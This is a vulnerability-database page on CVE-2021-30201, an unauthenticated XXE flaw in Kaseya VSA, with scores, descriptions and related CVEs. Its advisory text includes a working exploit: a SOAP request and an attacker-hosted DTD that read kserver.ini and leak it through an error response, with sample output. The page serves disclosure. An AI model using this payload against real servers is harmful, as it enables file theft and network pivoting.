Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1359 CNY

100%

CVE-2021-30201— Unauthenticated XML External Entity vulnerability in Kaseya VSA < v9.5.6

Quick assessment

Affected
n/a n/a
Exploitation
High exploitation probability; assess promptly
Recommended action
Check the vendor advisory and references for a fixed version. If immediate upgrade is impossible, restrict exposure and increase monitoring.

Kaseya VSA是美国Kaseya公司的托管服务提供商 (MSP) 常用来管理客户网络的RMM(远程监控和管理)软件。 Kaseya VSA 9.5.6 之前版本存在代码问题漏洞,该漏洞源于外部输入数据构造代码段的过程中,网络系统或产品未正确过滤其中的特殊元素。攻击者可利用该漏洞生成非法的代码段,修改网络系统或组件的预期的执行控制流。

CVSS 7.5 · High EPSS 25.45% · P98
Get alerts for future matching vulnerabilities Log in to subscribe

I. Basic Information for CVE-2021-30201

Vulnerability Information

Have questions about the vulnerability? See if Shenlong's analysis helps!
View Shenlong Deep Dive ↗

Although we use advanced large model technology, its output may still contain inaccurate or outdated information.Shenlong tries to ensure data accuracy, but please verify and judge based on the actual situation.

Vulnerability Title
Unauthenticated XML External Entity vulnerability in Kaseya VSA < v9.5.6
Source: CVE Program / CVE List V5
Vulnerability Description
The API /vsaWS/KaseyaWS.asmx can be used to submit XML to the system. When this XML is processed (external) entities are insecurely processed and fetched by the system and returned to the attacker. Detailed description Given the following request: ``` POST /vsaWS/KaseyaWS.asmx HTTP/1.1 Content-Type: text/xml;charset=UTF-8 Host: 192.168.1.194:18081 Content-Length: 406 <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:kas="KaseyaWS"> <soapenv:Header/> <soapenv:Body> <kas:PrimitiveResetPassword> <!--type: string--> <kas:XmlRequest><![CDATA[<!DOCTYPE data SYSTEM "http://192.168.1.170:8080/oob.dtd"><data>&send;</data>]]> </kas:XmlRequest> </kas:PrimitiveResetPassword> </soapenv:Body> </soapenv:Envelope> ``` And the following XML file hosted at http://192.168.1.170/oob.dtd: ``` <!ENTITY % file SYSTEM "file://c:\\kaseya\\kserver\\kserver.ini"> <!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file;'>"> %eval; %error; ``` The server will fetch this XML file and process it, it will read the file c:\\kaseya\\kserver\\kserver.ini and returns the content in the server response like below. Response: ``` HTTP/1.1 500 Internal Server Error Cache-Control: private Content-Type: text/xml; charset=utf-8 Date: Fri, 02 Apr 2021 10:07:38 GMT Strict-Transport-Security: max-age=63072000; includeSubDomains Connection: close Content-Length: 2677 <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema"><soap:Body><soap:Fault><faultcode>soap:Server</faultcode><faultstring>Server was unable to process request. ---&gt; There is an error in XML document (24, -1000).\r\n\r\nSystem.Xml.XmlException: Fragment identifier '######################################################################## # This is the configuration file for the KServer. # Place it in the same directory as the KServer executable # A blank line or new valid section header [] terminates each section. # Comment lines start with ; or # ######################################################################## <snip> ``` Security issues discovered --- * The API insecurely resolves external XML entities * The API has an overly verbose error response Impact --- Using this vulnerability an attacker can read any file on the server the webserver process can read. Additionally, it can be used to perform HTTP(s) requests into the local network and thus use the Kaseya system to pivot into the local network.
Source: CVE Program / CVE List V5
CVSS Information
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Source: CVE Program / CVE List V5
Vulnerability Type
N/A
Source: CVE Program / CVE List V5
Vulnerability Title
Kaseya VSA 代码问题漏洞
Source: CNNVD (China National Vulnerability Database)
Vulnerability Description
Kaseya VSA是美国Kaseya公司的托管服务提供商 (MSP) 常用来管理客户网络的RMM(远程监控和管理)软件。 Kaseya VSA 9.5.6 之前版本存在代码问题漏洞,该漏洞源于外部输入数据构造代码段的过程中,网络系统或产品未正确过滤其中的特殊元素。攻击者可利用该漏洞生成非法的代码段,修改网络系统或组件的预期的执行控制流。
Source: CNNVD (China National Vulnerability Database)
CVSS Information
N/A
Source: CNNVD (China National Vulnerability Database)
Vulnerability Type
N/A
Source: CNNVD (China National Vulnerability Database)

Affected Products

Vendor Product Affected Versions CPE Subscribe
- n/a n/a -

II. Public POCs for CVE-2021-30201

# POC Description Source Link Shenlong Link
AI-Generated POC Premium

No public POC found.

Login to generate AI POC

III. Intelligence Information for CVE-2021-30201

请登录查看更多情报信息。

Other References for CVE-2021-30201 (4)

Same Patch Batch · n/a · 2021-07-09 · 48 CVEs total

CVE-2021-30116 10.0 CRITICAL Unauthenticated credential leak and business logic flaw in Kaseya VSA <= v9.5.6
CVE-2021-30120 9.9 CRITICAL 2FA bypass in Kaseya VSA <= v9.5.6
CVE-2021-30118 9.8 CRITICAL Unauthenticated Remote Code Execution in Kaseya VSA < v9.5.5
CVE-2021-30117 9.8 CRITICAL Authenticated SQL injection in Kaseya VSA < v9.5.6
CVE-2021-23405 8.3 HIGH SQL Injection
CVE-2021-30121 6.5 MEDIUM (Semi-)Authenticated local file inclusion in Kaseya VSA < v9.5.6
CVE-2021-30119 5.4 MEDIUM Authenticated Authenticated reflective XSS in Kaseya VSA <= v9.5.6
CVE-2020-25877 Blackcat Cms 跨站脚本漏洞
CVE-2021-33795 Foxit Reader和Foxit PhantomPDF 安全漏洞
CVE-2020-25875 Codoforum 跨站脚本漏洞
CVE-2020-25876 Codoforum 跨站脚本漏洞
CVE-2020-25394 moziloCMS 跨站脚本漏洞
CVE-2020-35987 Rukovoditel 跨站脚本漏洞
CVE-2021-35358 Dotcms dotCMS 跨站脚本漏洞
CVE-2021-35361 Dotcms dotCMS 跨站脚本漏洞
CVE-2021-35360 Dotcms dotCMS 跨站脚本漏洞
CVE-2021-36371 Emissary-Ingress 信任管理问题漏洞
CVE-2021-33214 Hms Networks eCatcher 安全漏洞
CVE-2021-33792 Foxit Reader 和 Foxit PhantomPDF 缓冲区错误漏洞
CVE-2021-27038 Autodesk Design Review 安全漏洞

Showing top 20 of 48 CVEs. View all on vendor page &rarr; →

IV. Related Vulnerabilities

V. Comments for CVE-2021-30201

No comments yet


Leave a comment